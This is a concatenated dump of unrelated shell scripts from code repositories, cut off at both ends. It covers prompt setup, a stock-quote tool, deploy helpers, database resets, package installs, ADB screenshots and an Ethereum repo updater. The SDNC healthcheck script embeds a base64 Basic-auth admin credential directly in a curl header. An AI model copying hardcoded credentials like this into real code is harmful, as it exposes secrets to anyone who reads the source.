64 bits\ngcc -o binaries/arena arena.c"} {"text": "#!/bin/bash\n\n# Configure the prompt prefix to show the current user, host, path, and\n# git status (if in a git repository). When logged in via SSH, the host\n# portion of the prompt will appear as a different color than when logged\n# in locally to more easily distinguish terminal sessions.\n\nfunction get_prefix() {\n local C_RESET='\\[\\033[0m\\]'\n local C_USER='\\[\\033[1;34m\\]' # bright (bold) blue\n local C_HOST='\\[\\033[0;32m\\]' # green\n local C_PATH='\\[\\033[0;33m\\]' # yellow\n local C_GIT='\\[\\033[1;31m\\]' # bright (bold) red\n\n # if connected via SSH, change the host color to purple\n if [[ -n \"$SSH_CLIENT\" ]] || [[ -n \"$SSH_TTY\" ]]; then\n local C_HOST='\\[\\033[35m\\]'\n fi\n\n echo \"${C_USER}\\u${C_RESET}@${C_HOST}\\h:${C_PATH}\\w${C_RESET}\"\n}\n\nfunction get_venv() {\n if [[ ! -z \"$VIRTUAL_ENV\" ]]; then\n echo \"(`basename \\\"$VIRTUAL_ENV\\\"`) \"\n fi\n}\n\nprefix=$(get_prefix)\n\nif [[ -r \"${DOTFILES}/bash/git-prompt.bash\" ]]; then\n source \"${DOTFILES}/bash/git-prompt.bash\"\n export PROMPT_COMMAND='__git_ps1 \"$(get_venv)${prefix}\" \"\\\\\\$ \" \" \\[\\033[1;31m\\](%s)\\[\\033[0m\\]\"'\nelse\n # venv prefix is taken care of by venv/bin/activate script,\n # as long as PROMPT_COMMAND does not overwrite PS1\n export PS1=\"${prefix}\\$ \"\nfi\n# export PROMPT_COMMAND=set_prompt\nexport PROMPT_DIRTRIM=2 # shorten long paths, keeping 2 levels at the end"} {"text": "#!/usr/bin/env bash\n# Author: https://github.com/alexanderepstein\n# Author: https://github.com/navanchauhan\n# Author: https://github.com/tjstub\n\ncurrentVersion=\"1.23.0\"\nconfiguredClient=\"\"\nconfiguredPython=\"\"\n\n## This function determines which http get tool the system has installed and returns an error if there isnt one\ngetConfiguredClient()\n{\n if command -v curl &>/dev/null; then\n configuredClient=\"curl\"\n elif command -v wget &>/dev/null; then\n configuredClient=\"wget\"\n elif command -v http &>/dev/null; then\n configuredClient=\"httpie\"\n elif command -v fetch &>/dev/null; then\n configuredClient=\"fetch\"\n else\n echo \"Error: This tool requires either curl, wget, httpie or fetch to be installed.\" >&2\n return 1\n fi\n}\n\n## Allows to call the users configured client without if statements everywhere\nhttpGet()\n{\n case \"$configuredClient\" in\n curl) curl -A curl -s \"$@\" ;;\n wget) wget -qO- \"$@\" ;;\n httpie) http -b GET \"$@\" ;;\n fetch) fetch -q \"$@\" ;;\n esac\n}\n\ngetConfiguredPython()\n{\n if command -v python3 &>/dev/null; then\n configuredPython=\"python3\"\n elif command -v python2 &>/dev/null; then\n configuredPython=\"python2\"\n elif command -v python &>/dev/null; then\n configuredPython=\"python\"\n else\n echo \"Error: This tool requires python to be installed.\"\n return 1\n fi\n}\n\nif [[ $(uname) != \"Darwin\" ]]; then\n python()\n {\n case \"$configuredPython\" in\n python3) python3 \"$@\" ;;\n python2) python2 \"$@\" ;;\n python) python \"$@\" ;;\n esac\n }\nfi\n\ncheckInternet()\n{\n httpGet github.com > /dev/null 2>&1 || { echo \"Error: no active internet connection\" >&2; return 1; } # query github with a get request\n}\n\n## Grabs an element from a a json string and then echoes it to stdout\n## $1 = the JSON string\n## $n+1 = the elements to be indexed\nAccessJsonElement() {\n json=\"$1\"\n shift\n accessor=\"\"\n for element in \"$@\"; do\n accessor=\"${accessor}['$element']\"\n done\n echo \"$json\" | python -c \"from __future__ import print_function; import sys, json; print(json.load(sys.stdin)${accessor})\"\n return \"$?\"\n}\n\n## This function grabs information about a stock and prints it for consumption\nprintStockInformation()\n{\n # this data is updated hourly.\n stockProfile=\"$(httpGet \"https://financialmodelingprep.com/api/v3/company/profile/${1}\")\" > /dev/null\n # this is realtime data.\n stockPrice=\"$(httpGet \"https://financialmodelingprep.com/api/v3/stock/real-time-price/${1}\")\" > /dev/null\n # necessary for python in some cases\n export PYTHONIOENCODING=utf8\n # checking if we get any information back from the server if not\n # chances are it isnt a valid stock symbol\n AccessJsonElement \"$stockProfile\" \"profile\" \"companyName\" > /dev/null 2>&1 \\\n || { echo \"$1: Not a valid stock symbol\"; exit 1; }\n # The rest of the code is just extrapolating the data with python\n # from the JSON response\n name=\"$(AccessJsonElement \"$stockProfile\" \"profile\" \"companyName\")\"\n exchangeName=\"$(AccessJsonElement \"$stockProfile\" \"profile\" \"exchange\")\"\n latestPrice=\"$(AccessJsonElement \"$stockPrice\" \"price\")\"\n range=\"$(AccessJsonElement \"$stockProfile\" \"profile\" \"range\")\"\n priceChange=\"$(AccessJsonElement \"$stockProfile\" \"profile\" \"changes\")\"\n priceChangePercentage=\"$(AccessJsonElement \"$stockProfile\" \"profile\" \"changesPercentage\")\"\n volumeAvg=\"$(AccessJsonElement \"$stockProfile\" \"profile\" \"volAvg\")\"\n\n cat < /dev/null\n # using python to extrapolate the stock symbol\n symbol=\"$(echo \"$response\" | python -c \"from __future__ import print_function; import sys, json; print(json.load(sys.stdin)['ResultSet']['Result'][0]['symbol'])\")\"\n # just unsets the entire response after using it since all I need is the stock ticker\n unset response\n}\n\nupdate()\n{\n # Author: https://github.com/alexanderepstein\n # Update utility version 2.2.0\n # To test the tool enter in the defualt values that are in the examples for each variable\n repositoryName=\"Bash-Snippets\" #Name of repostiory to be updated ex. Sandman-Lite\n githubUserName=\"alexanderepstein\" #username that hosts the repostiory ex. alexanderepstein\n nameOfInstallFile=\"install.sh\" # change this if the installer file has a different name be sure to include file extension if there is one\n latestVersion=$(httpGet https://api.github.com/repos/$githubUserName/$repositoryName/tags | grep -Eo '\"name\":.*?[^\\\\]\",'| head -1 | grep -Eo \"[0-9.]+\" ) #always grabs the tag without the v option\n\n if [[ $currentVersion == \"\" || $repositoryName == \"\" || $githubUserName == \"\" || $nameOfInstallFile == \"\" ]]; then\n echo \"Error: update utility has not been configured correctly.\" >&2\n exit 1\n elif [[ $latestVersion == \"\" ]]; then\n echo \"Error: no active internet connection\" >&2\n exit 1\n else\n if [[ \"$latestVersion\" != \"$currentVersion\" ]]; then\n echo \"Version $latestVersion available\"\n echo -n \"Do you wish to update $repositoryName [Y/n]: \"\n read -r answer\n if [[ \"$answer\" == [Yy] ]]; then\n cd ~ || { echo 'Update Failed'; exit 1; }\n if [[ -d ~/$repositoryName ]]; then rm -r -f $repositoryName || { echo \"Permissions Error: try running the update as sudo\"; exit 1; } ; fi\n echo -n \"Downloading latest version of: $repositoryName.\"\n git clone -q \"https://github.com/$githubUserName/$repositoryName\" && touch .BSnippetsHiddenFile || { echo \"Failure!\"; exit 1; } &\n while [ ! -f .BSnippetsHiddenFile ]; do { echo -n \".\"; sleep 2; };done\n rm -f .BSnippetsHiddenFile\n echo \"Success!\"\n cd $repositoryName || { echo 'Update Failed'; exit 1; }\n git checkout \"v$latestVersion\" 2> /dev/null || git checkout \"$latestVersion\" 2> /dev/null || echo \"Couldn't git checkout to stable release, updating to latest commit.\"\n chmod a+x install.sh #this might be necessary in your case but wasnt in mine.\n ./$nameOfInstallFile \"update\" || exit 1\n cd ..\n rm -r -f $repositoryName || { echo \"Permissions Error: update succesfull but cannot delete temp files located at ~/$repositoryName delete this directory with sudo\"; exit 1; }\n else\n exit 1\n fi\n else\n echo \"$repositoryName is already the latest version\"\n fi\n fi\n}\n\nusage()\n{\n cat <&2\n exit 1\n ;;\n h) usage\n exit 0\n ;;\n v) echo \"Version $currentVersion\"\n exit 0\n ;;\n u) checkInternet || exit 1\n update\n exit 0\n ;;\n :) echo \"Option -$OPTARG requires an argument.\" >&2\n exit 1\n ;;\n esac\ndone\n\nif [[ $1 == \"update\" ]]; then\n checkInternet || exit 1\n update\n exit 0\nelif [[ $1 == \"help\" ]]; then\n usage\n exit 0\nelif [[ $# == \"0\" ]]; then\n usage\n exit 0\nelse\n checkInternet || exit 1\n # the company name might have spaces so passing in all args allows for this\n getTicker \"$@\"\n # based on the stock symbol exrapolated by the getTicker function get\n # information on the stock\n printStockInformation \"$symbol\"\n exit 0\nfi"} {"text": "AngelPASTORROJAS/L3S6-GL-webmagic-PASTOR_ROJAS-BENAOUDwebmagic-scripts/deploy.sh\n#!/bin/sh\nVERSION=\"0.4.1-SNAPSHOT\"\nmvn clean package\ncp target/webmagic-scripts-${VERSION}.jar /usr/local/webmagic/webmagic-console.jar\nrsync -avz --delete target/lib/ /usr/local/webmagic/lib/"} {"text": "#!/bin/bash\nset -e\nset -u\n\nif [ $# == 0 ]; then\n echo \"Usage: `basename $0` [major | minor | patch | prerelease]\"\n exit\nfi\n\nBUMP=$1\nDEPLOY_DIR=\"dist/storefrontshellapp\"\n\necho \"Bumping app version to $BUMP\"\nNEW_VERSION=`npm version $BUMP --no-git-tag-version`\necho \"New version: $NEW_VERSION\"\n\necho \"Bulding storefront (shell) app\"\nsh generate-shellapp.sh\n\necho \"publishing version $BUMP\"\n(cd $DEPLOY_DIR && npm publish storefrontapp.tgz)\n\ngit commit -am\"Bumping app version to $NEW_VERSION\"\ngit tag storefrontapp-$NEW_VERSION\n\necho \"Pushing from $PWD\"\ngit push origin develop --tags"} {"text": "WGET_ARGS=( http://download.kde.org/stable/release-service/20.12.2/src -A '*.tar.xz' )"} {"text": "tools/initdb.development.sh\n#!/bin/sh\n\ncd tools\necho 'Drop :development database'\npsql -U songstothesiren postgres -c 'DROP DATABASE IF EXISTS songstothesiren_development'\n\necho 'Create :development database'\ncreatedb -U postgres -O songstothesiren songstothesiren_development"} {"text": "#!/bin/sh\n\ncd /root/repos/wusisu.com\ngit fetch\ngit reset --hard origin/master\nbundle exec jekyll build\ncp -r _site/* /web/wusisu.com/"} {"text": "#!/bin/bash\n\nset -e\nset -x\n\n\npython -c 'import yaml, sys; print(yaml.safe_load(sys.stdin))' < prometheus.yml\n\nexec $cmd"} {"text": "1-10\n#!/bin/bash\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n(set -o igncr) 2>/dev/null && set -o igncr; # comment is needed\n\nremotekerneldir=\"http://asteam/hg/tamarin-central-private/raw-file/tip/test/performance/canaries/fc64util/kernel/\"\nfiles=\"basic.901226-01.bin characters.901225-01.bin kernal.901227-03.bin\"\n\ntest \"$basedir\" = \"\" && {\n basedir=\".\"\n}\n\nkerneldir=$basedir/other-licenses/test/performance/canaries/fc64util/kernel\ntest -d $kerneldir || mkdir -p $kerneldir\n\nfor f in $files\ndo\n echo downloading rom to $kerneldir/$f\n wget --quiet --output-file=$kerneldir/$f $remotekerneldir/$f\n ls -l $kerneldir/$f\ndone"} {"text": "Cyberwatch/cbw-security-fixes1-10\n#!/bin/sh\n# - 2017\n#\n# Security fix for CESA-2011:0154\n#\n# Security announcement date: 2011-04-14 23:47:58 UTC\n# Script generation date: 2017-01-01 21:10:11 UTC\n#\n# Operating System: CentOS 5\n# Architecture: x86_64\n#\n# Vulnerable packages fix on version:\n# - hpijs.x86_64:1.6.7-6.el5_6.1\n# - hplip.x86_64:1.6.7-6.el5_6.1\n# - libsane-hpaio.x86_64:1.6.7-6.el5_6.1\n# - hpijs3.x86_64:3.9.8-11.el5_6.1\n# - hplip3.x86_64:3.9.8-11.el5_6.1\n# - hplip3-common.x86_64:3.9.8-11.el5_6.1\n# - hplip3-gui.x86_64:3.9.8-11.el5_6.1\n# - hplip3-libs.x86_64:3.9.8-11.el5_6.1\n# - libsane-hpaio3.x86_64:3.9.8-11.el5_6.1\n#\n# Last versions recommanded by security team:\n# - hpijs.x86_64:1.6.7-6.el5_6.1\n# - hplip.x86_64:1.6.7-6.el5_6.1\n# - libsane-hpaio.x86_64:1.6.7-6.el5_6.1\n# - hpijs3.x86_64:3.9.8-15.el5\n# - hplip3.x86_64:3.9.8-15.el5\n# - hplip3-common.x86_64:3.9.8-15.el5\n# - hplip3-gui.x86_64:3.9.8-15.el5\n# - hplip3-libs.x86_64:3.9.8-15.el5\n# - libsane-hpaio3.x86_64:3.9.8-15.el5\n#\n# CVE List:\n# - CVE-2010-4267\n#\n# More details:\n# - https://www.cyberwatch.fr/vulnerabilites\n#\n# Licence: Released under The MIT License (MIT), See LICENSE FILE\nsudo yum install hpijs.x86_64-1.6.7 -y \nsudo yum install hplip.x86_64-1.6.7 -y \nsudo yum install libsane-hpaio.x86_64-1.6.7 -y \nsudo yum install hpijs3.x86_64-3.9.8 -y \nsudo yum install hplip3.x86_64-3.9.8 -y \nsudo yum install hplip3-common.x86_64-3.9.8 -y \nsudo yum install hplip3-gui.x86_64-3.9.8 -y \nsudo yum install hplip3-libs.x86_64-3.9.8 -y \nsudo yum install libsane-hpaio3.x86_64-3.9.8 -y"} {"text": "#!/bin/bash\nresult=\"output.txt\"\n>$ $result # Create empty file\ndialog --title \"Inputbox Demo\" \\\n--backtitle \"Learn Shell Scripting\" \\\n--inputbox \"Please enter your name \" 8 60 2>$result\nresponse=$?\nname=$(<$result)\ncase $response in\n0) echo \"Hello $name\"\n;;\n1) echo \"Cancelled.\"\n;;\n255) echo \"Escape key pressed.\"\nesac\nrm $result"} {"text": "packaging/scripts/preinst.sh1-10\n#!/bin/sh -xe\n\nrm -rf ~/.rit"} {"text": "0\n#!/bin/bash\n# ADB screenshot for Linux or macOS\n# Copyright 2019 \n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# \n# Just source this file\n# \n# $ source adb-screenshot.sh\n#\n# Use adb_screenshot to obtain screenshot only support portrait mode via screencap\n# Use adb_screenshot_v2 to support portrait/landscape mode via screenrecord\n# \n# Imagemagick and ffmpeg should installed for adb_screenshot_v2\n# to extract image from video stream\n#\n# Temporary file get deleted after screenshot\n# The final picture will be opened with your default picture viewer\n#\n\nfunction view_cmd() \n{\n local _view_cmd=\n case $OSTYPE in\n\tlinux*) _view_cmd=\"xdg-open %s\" ;;\n\tdarwin*) _view_cmd=\"open %s\" ;;\n\t*) ;;\n esac\n echo \"$_view_cmd\"\n}\n\nfunction adb_screenshot() \n{\n local f=Screenshot_$(date +%Y-%m-%d_%H-%M-%S).png\n adb shell screencap -p > $f && \\\n\teval `printf \"$(view_cmd)\" $f`\n}\n\n#the following method can avoid image stretching if target device in landscape mode\nfunction adb_screenshot_v2() \n{\n local _b=$(basename `mktemp`).mp4 #basename\n local _f=/data/local/tmp/$_b #filename on device\n local _o=Screenshot_$(date +%Y-%m-%d_%H-%M-%S).png #filename on host\n adb shell screenrecord --time-limit 1 $_f && \\\n\tadb pull $_f && adb shell rm $_f && \\\n\tconvert ${_b}[0] $_o && rm -v $_b && \\\n\teval `printf \"$(view_cmd)\" $_o`\n}"} {"text": "rudolfix/PytorchWaveNetVocoder\n#!/bin/bash\n\nset -e\nset -u\n\ncheckpoint=$(ls -t checkpoint/*.pkl | head -1)\necho \"training from checkpoint $checkpoint\"\npython train.py \"$@\" --resume $checkpoint"} {"text": "npal02/cps\n#!/bin/bash\n#\n# ============LICENSE_START=======================================================\n# Copyright (C) 2021 Nordix Foundation.\n# ================================================================================\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# SPDX-License-Identifier: Apache-2.0\n# ============LICENSE_END=========================================================\n\n# @author ()\n# setup sdnc\n\nexport SDNC_CERT_PATH=$WORKSPACE/plans/cps/sdnc/certs\n\n#start SDNC containers with docker compose and configuration from docker-compose.yml\ndocker-compose -f $WORKSPACE/plans/cps/sdnc/docker-compose.yml up -d\n\n# WAIT 10 minutes maximum and test every 30 seconds if SDNC is up using HealthCheck API\nTIME_OUT=600\nINTERVAL=30\nTIME=0\nwhile [ \"$TIME\" -lt \"$TIME_OUT\" ]; do\n response=$(curl --write-out '%{http_code}' --silent --output /dev/null -H \"Authorization: Basic YWRtaW46S3A4Yko0U1hzek0wV1hsaGFrM2VIbGNzZTJnQXc4NHZhb0dHbUp2VXkyVQ==\" -X POST -H \"X-FromAppId: csit-sdnc\" -H \"X-TransactionId: csit-sdnc\" -H \"Accept: application/json\" -H \"Content-Type: application/json\" http://$SDNC_HOST:$SDNC_PORT/restconf/operations/SLI-API:healthcheck );\n echo $response\n\n if [ \"$response\" == \"200\" ]; then\n echo SDNC started in $TIME seconds\n break;\n fi\n\n echo Sleep: $INTERVAL seconds before testing if SDNC is up. Total wait time up now is: $TIME seconds. Timeout is: $TIME_OUT seconds\n sleep $INTERVAL\n TIME=$(($TIME+$INTERVAL))\ndone\n\nif [ \"$TIME\" -ge \"$TIME_OUT\" ]; then\n echo TIME OUT: karaf session not started in $TIME_OUT seconds... Could cause problems for testing activities...\nfi"} {"text": "scripts/ethupdate.sh0\n#!/usr/bin/env bash\n# author: <>\n#\n# A script to update the different ethereum repositories to latest develop\n# Invoke from the root directory and make sure you have the arguments set as explained\n# in the usage string.\n\n\n# Get SCRIPT_DIR, the directory the script is located even if there are symlinks involved\nFILE_SOURCE=\"${BASH_SOURCE[0]}\"\n# resolve $FILE_SOURCE until the file is no longer a symlink\nwhile [ -h \"$FILE_SOURCE\" ]; do\n\tSCRIPT_DIR=\"$( cd -P \"$( dirname \"$FILE_SOURCE\" )\" && pwd )\"\n\tFILE_SOURCE=\"$(readlink \"$FILE_SOURCE\")\"\n\t# if $FILE_SOURCE was a relative symlink, we need to resolve it relative to the path where the symlink file was located\n\t[[ $FILE_SOURCE != /* ]] && FILE_SOURCE=\"$SCRIPT_DIR/$FILE_SOURCE\"\ndone\nSCRIPT_DIR=\"$( cd -P \"$( dirname \"$FILE_SOURCE\" )\" && pwd )\"\n\n# Now that we got the directory, source some common functionality\nsource \"${SCRIPT_DIR}/ethbuildcommon.sh\"\n\nUSE_ALL=0\nROOT_DIR=$(pwd)\nNO_PUSH=0\nUSE_SSH=0\nDO_SIMPLE_PULL=0\nSHALLOW_FETCH=\"\"\nUPSTREAM=upstream\nORIGIN=origin\nREQUESTED_BRANCH=develop\nWEB3JS_BRANCH=master\nREQUESTED_ARG=\"\"\nREQUESTED_PROJECT=\"\"\nREPO_URL=\"\"\nBUILD_PR=\"none\"\nREPOS_MAP=(\"webthree-helpers:https://github.com/ethereum/webthree-helpers\"\n\t \"tests:https://github.com/ethereum/tests\"\n\t \"libweb3core:https://github.com/ethereum/libweb3core\"\n\t \"libethereum:https://github.com/ethereum/libethereum\"\n\t \"evmjit:https://github.com/ethereum/evmjit\"\n\t \"libwhisper:https://github.com/ethereum/libwhisper\"\n\t \"webthree:https://github.com/ethereum/webthree\"\n\t \"web3.js:https://github.com/ethereum/web3.js\"\n\t \"solidity:https://github.com/ethereum/solidity\"\n\t \"alethzero:https://github.com/ethereum/alethzero\"\n\t \"mix:https://github.com/ethereum/mix\")\nREPOS_SSH_MAP=(\"webthree-helpers::ethereum/webthree-helpers.git\"\n\t \"tests::ethereum/tests.git\"\n\t \"libweb3core::ethereum/libweb3core.git\"\n\t \"libethereum::ethereum/libethereum.git\"\n\t \"evmjit::ethereum/evmjit.git\"\n\t \"libwhisper::ethereum/libwhisper.git\"\n\t \"webthree::ethereum/webthree.git\"\n\t \"web3.js::ethereum/web3.js.git\"\n\t \"solidity::ethereum/solidity.git\"\n\t \"alethzero::ethereum/alethzero.git\"\n\t \"mix::ethereum/mix.git\")\n\nfunction get_repo_url() {\n\tif [[ $1 == \"\" ]]; then\n\t\techo \"ETHUPDATE - ERROR: get_repo_url() function called without an argument.\"\n\t\texit 1\n\tfi\n\tREPOS_MAP_VAR=\"${REPOS_MAP[@]}\"\n\tif [[ $USE_SSH -eq 1 ]]; then\n\t\tREPOS_MAP_VAR=\"${REPOS_SSH_MAP[@]}\"\n\tfi\n\tfor repo in $REPOS_MAP_VAR ; do\n\t\tKEY=${repo%%:*}\n\t\tif [[ $KEY == $1 ]]; then\n\t\t\tREPO_URL=${repo#*:}\n\t\t\tbreak\n\t\tfi\n\tdone\n\tif [[ $REPO_URL == \"\" ]]; then\n\t\techo \"ETHUPDATE - ERROR: Requested url of unknown repo: ${1}.\"\n\t\texit 1\n\tfi\n}\n\n# Takes a branch value and if it is not empty or \"null\" sets the requested branch to it\n# \"null\" can come from the way jenkins handles empty variables\nfunction set_requested_branch() {\n\tif [[ $1 != \"\" && $1 != \"null\" ]]; then\n\t\tREQUESTED_BRANCH=$1\n\tfi\n}\n\n# Takes a repository as an argument and using the environment variables tries to see if\n# the requested branch exists for that repo and if it does it sets it\nfunction get_repo_branch() {\n\tif [[ $1 == \"\" ]]; then\n\t\techo \"ETHUPDATE - ERROR: get_repo_branch() function called without an argument.\"\n\t\texit 1\n\tfi\n\t# get the name of the Requested Branch\n\tREQUESTED_BRANCH=\"develop\"\n\tcase $1 in\n\t\t\"webthree-helpers\")\n\t\t\tset_requested_branch $WEBTHREEHELPERS_BRANCH\n\t\t\t;;\n\t\t\"libweb3core\")\n\t\t\tset_requested_branch $LIBWEB3CORE_BRANCH\n\t\t\t;;\n\t\t\"libethereum\")\n\t\t\tset_requested_branch $LIBETHEREUM_BRANCH\n\t\t\t;;\n\t\t\"evmjit\")\n\t\t\tset_requested_branch $EVMJIT_BRANCH\n\t\t\t;;\n\t\t\"webthree\")\n\t\t\tset_requested_branch $WEBTHREE_BRANCH\n\t\t\t;;\n\t\t\"web3.js\")\n\t\t\tset_requested_branch $WEB3JS_BRANCH\n\t\t\t;;\n\t\t\"solidity\")\n\t\t\tset_requested_branch $SOLIDITY_BRANCH\n\t\t\t;;\n\t\t\"alethzero\")\n\t\t\tset_requested_branch $ALETHZERO_BRANCH\n\t\t\t;;\n\t\t\"mix\")\n\t\t\tset_requested_branch $MIX_BRANCH\n\t\t\t;;\n\t\t\"tests\")\n\t\t\tset_requested_branch $TESTS_BRANCH\n\t\t\t;;\n\t\t*)\n\t\t\techo \"ETHUPDATE - ERROR: Unrecognized repo argument at get_repo_branch() \\\"$1\\\".\";\n\t\t\texit 1\n\t\t\t;;\n\tesac\n\techo \"ETHUPDATE - INFO: get_repo_branch() setting branch for $1 to ${REQUESTED_BRANCH}.\"\n\t#if not develop or master we got some work to do\n\tif [[ $REQUESTED_BRANCH != \"develop\" && $REQUESTED_BRANCH != \"master\" ]]; then\n\t\tif [[ $GH_PR_USER == \"\" ]];then\n\t\t\tGH_PR_USER=\"ethereum\"\n\t\t\techo \"ETHUPDATE - INFO: get_repo_branch() no GH_PR_USER given, defaulting to ethereum repo.\"\n\t\tfi\n\t\t#fetch the requested branch\n\t\tgit fetch https://github.com/${GH_PR_USER}/$1 ${REQUESTED_BRANCH}\n\t\tif [[ $? -ne 0 ]]; then\n\t\t\tif [[ $GH_PR_USER != \"ethereum\" ]]; then\n\t\t\t\techo \"ETHUPDATE - WARNING: Could not find ${REQUESTED_BRANCH} of ${1} from the fork of ${GH_PR_USER}. Trying the ethereum upstream\"\n\t\t\t\tgit fetch https://github.com/ethereum/$1 ${REQUESTED_BRANCH}\n\t\t\t\tif [[ $? -eq 0 ]]; then\n\t\t\t\t\tgit checkout FETCH_HEAD\n\t\t\t\t\techo \"ETHUPDATE - INFO: Found ${REQUESTED_BRANCH} of ${1} in the ethereum upstream\"\n\t\t\t\t\treturn\n\t\t\t\tfi\n\t\t\tfi\n\t\t\techo \"ETHUPDATE - ERROR: Could not fetch ${REQUESTED_BRANCH} of ${1} for ${GH_PR_USER} or from the ethereum upstream.. Defaulting to develop.\"\n\t\t\tREQUESTED_BRANCH=\"develop\"\n else\n\t\t\tgit checkout FETCH_HEAD\n\t\tfi\n\tfi\n}\n\nfunction print_help {\n\techo \"Usage: ethupdate.sh [options]\"\n\techo \"Arguments:\"\n\techo \" --help Will print this help message.\"\n\techo \"${PROJECTS_HELP}\"\n\techo \" --branch NAME Will update to the specified branch. Default is ${REQUESTED_BRANCH}.\"\n\techo \" --origin NAME Will send the updates back to origin NAME if specified.\"\n\techo \" --upstream NAME The name of the remote to pull from. Default is ${UPSTREAM}.\"\n\techo \" --no-push Don't push anything back to origin.\"\n\techo \" --use-ssh Use ssh to clone the repos instead of https.\"\n\techo \" --shallow-fetch Perform git clone and git fetch with --depth=1.\"\n\techo \" --simple-pull If a branch is given but can't be checked out, then give this argument to attemt a simple git pull\"\n\techo \" --build-pr HEX Will make sure that the main repository for the project has the commit of a particular PR checked out. You can also give the value of none to disable this argument.\"\n\techo \" --all In addition to cloning the repositores needed to build this project, also clone all projects that depend on it\"\n}\n\nfor arg in ${@:1}\ndo\n\tif [[ ${REQUESTED_ARG} != \"\" ]]; then\n\t\tcase $REQUESTED_ARG in\n\t\t\t\"origin\")\n\t\t\t\tORIGIN=$arg\n\t\t\t\t;;\n\t\t\t\"upstream\")\n\t\t\t\tUPSTREAM=$arg\n\t\t\t\t;;\n\t\t\t\"branch\")\n\t\t\t\tREQUESTED_BRANCH=$arg\n\t\t\t\t;;\n\t\t\t\"project\")\n\t\t\t\tset_repositories \"ETHUPDATE\" $arg\n\t\t\t\t;;\n\t\t\t\"build-pr\")\n\t\t\t\tBUILD_PR=$arg\n\t\t\t\t;;\n\t\t\t*)\n\t\t\t\techo \"ETHUPDATE - ERROR: Unrecognized argument \\\"$arg\\\".\";\n\t\t\t\tprint_help\n\t\t\t\texit 1\n\t\tesac\n\t\tREQUESTED_ARG=\"\"\n\t\tcontinue\n\tfi\n\n\tif [[ $arg == \"--help\" ]]; then\n\t\tprint_help\n\t\texit 1\n\tfi\n\n\tif [[ $arg == \"--branch\" ]]; then\n\t\tREQUESTED_ARG=\"branch\"\n\t\tcontinue\n\tfi\n\n\tif [[ $arg == \"--project\" ]]; then\n\t\tREQUESTED_ARG=\"project\"\n\t\tcontinue\n\tfi\n\n\tif [[ $arg == \"--origin\" ]]; then\n\t\tREQUESTED_ARG=\"origin\"\n\t\tcontinue\n\tfi\n\n\tif [[ $arg == \"--upstream\" ]]; then\n\t\tREQUESTED_ARG=\"upstream\"\n\t\tcontinue\n\tfi\n\n\tif [[ $arg == \"--build-pr\" ]]; then\n\t\tREQUESTED_ARG=\"build-pr\"\n\t\tcontinue\n\tfi\n\n\tif [[ $arg == \"--no-push\" ]]; then\n\t\tNO_PUSH=1\n\t\tcontinue\n\tfi\n\n\tif [[ $arg == \"--use-ssh\" ]]; then\n\t\tUSE_SSH=1\n\t\tcontinue\n\tfi\n\n\tif [[ $arg == \"--shallow-fetch\" ]]; then\n\t\tSHALLOW_FETCH=\" --depth=1\"\n\t\tcontinue\n\tfi\n\n\tif [[ $arg == \"--simple-pull\" ]]; then\n\t\tDO_SIMPLE_PULL=1\n\t\tcontinue\n\tfi\n\n\tif [[ $arg == \"--all\" ]]; then\n\t\tUSE_ALL=1\n\t\tcontinue\n\tfi\n\n\techo \"ETHUPDATE - ERROR: Unrecognized argument \\\"$arg\\\".\";\n\tprint_help\n\texit 1\ndone\n\nif [[ ${REQUESTED_ARG} != \"\" ]]; then\n\techo \"ETHUPDATE - ERROR: Expected value for the \\\"${REQUESTED_ARG}\\\" argument\";\n\texit 1\nfi\n\nif [[ $USE_ALL -eq 1 && ($REQUESTED_PROJECT != \"alethzero\" || $REQUESTED_PROJECT != \"mix\") ]]; then\n\tCLONE_REPOSITORIES=(\"${ALL_CLONE_REPOSITORIES[@]}\")\nfi\n\nfor repository in \"${CLONE_REPOSITORIES[@]}\"\ndo\n\tCHECKOUT_HEX=0\n\t# note if we need to checkout a PR's commit\n\tif [[ $repository == $REQUESTED_PROJECT && $BUILD_PR != \"none\" ]]; then\n\t\tCHECKOUT_HEX=1\n\tfi\n\n\techo \"ETHUPDATE - INFO: Starting update process of ${repository} for requested project ${REQUESTED_PROJECT}\";\n\tCLONED_THE_REPO=0\n\tcd $repository >/dev/null 2>/dev/null\n\tif [[ $? -ne 0 ]]; then\n\t\tif [[ $REQUESTED_PROJECT == \"\" ]]; then\n\t\t\techo \"ETHUPDATE - INFO: Skipping ${repository} because directory does not exit\";\n\t\t\tcd $ROOT_DIR\n\t\t\tcontinue\n\t\telse\n\t\t\techo \"ETHUPDATE - INFO: Repository ${repository} for requested project ${REQUESTED_PROJECT} did not exist. Cloning ...\"\n\t\t\tget_repo_url $repository\n\t\t\tgit clone --recursive $REPO_URL $SHALLOW_FETCH\n\t\t\tCLONED_THE_REPO=1\n\t\t\tcd $repository >/dev/null 2>/dev/null\n\t\tfi\n\tfi\n\tBRANCH=\"$(git symbolic-ref HEAD 2>/dev/null)\" ||\n\t\tBRANCH=\"(unnamed branch)\" # detached HEAD\n\tBRANCH=${BRANCH##refs/heads/}\n\n\tget_repo_branch $repository\n\t# if the \"none\" value was given then checkout and pull requested branch\n\tif [[ $BUILD_PR == \"none\" ]]; then\n\t\tgit checkout -f $REQUESTED_BRANCH\n\t\tif [[ $? -ne 0 ]]; then\n\t\t\techo \"ETHUPDATE - ERROR: Could not checkout \\\"${REQUESTED_BRANCH}\\\" for ${repository}.\"\n\t\t\texit 1\n\t\telse\n\t\t\techo \"ETHUPDATE - INFO: Checked out branch ${REQUESTED_BRANCH} for repository ${repository}.\"\n\t\tfi\n\telse\n\t\tget_repo_branch $repository\n\tfi\n\n\t# if we need to checkout specific commit for a PR do so\n\tif [[ $CHECKOUT_HEX 